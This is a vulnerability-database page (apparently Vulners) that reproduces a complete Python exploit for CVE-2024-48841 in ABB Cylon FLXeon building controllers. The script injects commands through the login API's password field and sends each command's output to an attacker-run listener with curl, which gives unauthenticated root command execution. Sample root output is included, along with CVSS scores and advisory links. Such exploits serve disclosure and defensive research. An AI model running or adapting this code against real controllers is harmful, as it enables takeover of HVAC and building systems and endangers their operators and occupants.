Vulners
Lucene search
ABB Cylon FLXeon 9.3.4 (login.js) Unauthenticated Root Remote Code Execution
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
 | ABB Cylon FLXeon 9.3.4 login.js Unauthenticated Root Remote Code Execution Exploit | 3 Feb 202500:00 | – | zdt |
| ABB Cylon FLXeon 9.3.4 cmds.js Authenticated Root Remote Code Execution Exploit | 3 Feb 202500:00 | – | zdt |
| ABB Cylon FLXeon 9.3.4 upload.js Authenticated Root Remote Code Execution Exploit | 3 Feb 202500:00 | – | zdt |
| ABB Cylon FLXeon 9.3.4 timeConfig.js Authenticated Root Remote Code Execution Exploit | 3 Feb 202500:00 | – | zdt |
 | CVE-2024-48841 | 27 Jan 202520:16 | – | circl |
 | ABB FLXeon 安全漏洞 | 27 Jan 202500:00 | – | cnnvd |
 | CVE-2024-48841 | 27 Jan 202519:25 | – | cve |
 | CVE-2024-48841 Remote Code Execution (RCE) Vulnerabilities | 27 Jan 202519:25 | – | cvelist |
 | ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) | 11 Apr 202500:00 | – | exploitdb |
| ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) | 11 Apr 202500:00 | – | exploitdb |
10
<html><body><p>#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Unauthenticated Root Remote Code Execution
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# https://new.abb.com/low-voltage/products/building-automation/product-range/abb-cylon/system-information/portfolio/bacnet-building-control
# https://new.abb.com/low-voltage/products/building-automation/product-range/abb-cylon/products-and-downloads/highlights/flxeon-series
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: The ABB Cylon FLXeon (BACnet) controller suffers from an unauthenticated remote
# code execution vulnerability with root privileges. Input passed through the login.js
# script for the password JSON parameter allows out-of-band command injection.
#
# ----------------------------------------------------------------------------------
# $ ./flxroot.py 7.3.3.1 443 7.3.3.2
# [+] Variant is CBXi, using perl crypto payload.
# [+] Target is vulnerable!
# [+] Samo malko potiho!
# # id;pwd;node -v
# uid=0(root) gid=0(root) groups=0(root)
# /home/MIX_CMIX/node-server
# v8.4.0
# # exit
# [+] Sve najbolje!
# ----------------------------------------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5907
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5907.php
# CVE ID: CVE-2024-48841
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
# ABB Advisory:
# https://search.abb.com/library/Download.aspx?DocumentID=9AKK108470A5684&LanguageCode=en&DocumentPartId=PDF&Action=Launch
# ABB Technical Bulletin No.546:
# https://library.e.abb.com/public/10c549147aee4d9b85d0c836cd9eacf7/ABB_Cylon_Bulletin_0546_FBVi_FBTi_FBXi_CBXi_Firmware_v9.3.5.pdf
#
#
# 21.04.2024
#
#
import re
import sys
import socket
import requests
import threading
requests.packages.urllib3.disable_warnings()
proj = r"""
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
ABB Cylon FLXeon Series <=9.3.4
Remote Root Out of Band Command Injection
ZSL-2025-5907
"""
def usage():
print(proj)
print("Usage: ./flxroot.py <target_ip> <target_port> <listener_ip>")
sys.exit(1)
def ssl(port=5555):
ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ss.bind(("0.0.0.0", port))
ss.listen(5)
print(f"[+] Samo malko potiho!")
while True:
try:
cs, ca = ss.accept()
cs.settimeout(5)
data = cs.recv(9876).decode()
uam = re.search(r"User-Agent: (.*?)\r\nAccept:", data, re.DOTALL)
if uam:
curl = uam.group(1).strip()
print(curl)
else:
print("[-] No output.")
cs.close()
except socket.timeout:
print("[-] Socket listener timed out. No data received.")
except Exception as e:
print(f"[-] Error in socket listener: {e}")
finally:
continue
def varians(url):
try:
r = requests.get(url, verify=False)
r.raise_for_status()
data = r.json()
#print("[+] JSON response:", data)
variant = data.get("variant", {})
variant_value = variant.get("variant")
platform_value = variant.get("platform")
if variant_value == "CBXi" or platform_value == "CBXi System":
print("[+] Variant is CBXi, using perl crypto payload.")
return "perl"
else:
print(f"[+] Variant is {variant_value or platform_value}, using openssl payload.")
return "openssl"
except requests.exceptions.RequestException as e:
print(f"[-] Failed to fetch variant: {e}")
sys.exit(1)
except Exception as e:
print(f"[-] Error while processing JSON: {e}")
sys.exit(1)
def exploit(url, callback, ptype):
while True:
try:
command = input("# ")
if command.lower() in ["exit", "quit"]:
print("[+] Sve najbolje!")
break
if ptype == "perl":
inject = f"'\\%22\\';curl -A \"`{command}`\" {callback}:5555;'//"
else:
inject = f"; curl -A \"`{command}`\" {callback}:5555; #"
payload = {
"username" : "admin",
"password" : inject
}
r = requests.post(url, json=payload, verify=False, timeout=5)
except requests.exceptions.RequestException as e:
print(f"[-] Error during exploitation: {e}")
except KeyboardInterrupt:
print("\n[+] Exiting...")
break
def check_vuln(check_it):
try:
r = requests.get(check_it, verify=False, timeout=5)
if r.status_code == 200 and 'ctlmbus' in r.text:
print("[+] Target is vulnerable!")
return True
else:
print("[-] Target is not vulnerable!")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error connecting to the target: {e}")
return False
def main():
if len(sys.argv) != 4:
usage()
ip = sys.argv[1]
port = sys.argv[2]
callback = sys.argv[3]
url = f"https://{ip}:{port}/api/login"
check_it = url[:-5] + "variant"
print(proj)
ptype = varians(check_it)
if not check_vuln(check_it): sys.exit(1)
lt = threading.Thread(target=ssl, daemon=True)
lt.start()
exploit(url, callback, ptype)
if __name__ == "__main__":
main()
</listener_ip></target_port></target_ip></p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Jan 2025 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 410
CVSS 3.110
EPSS0.06246
SSVC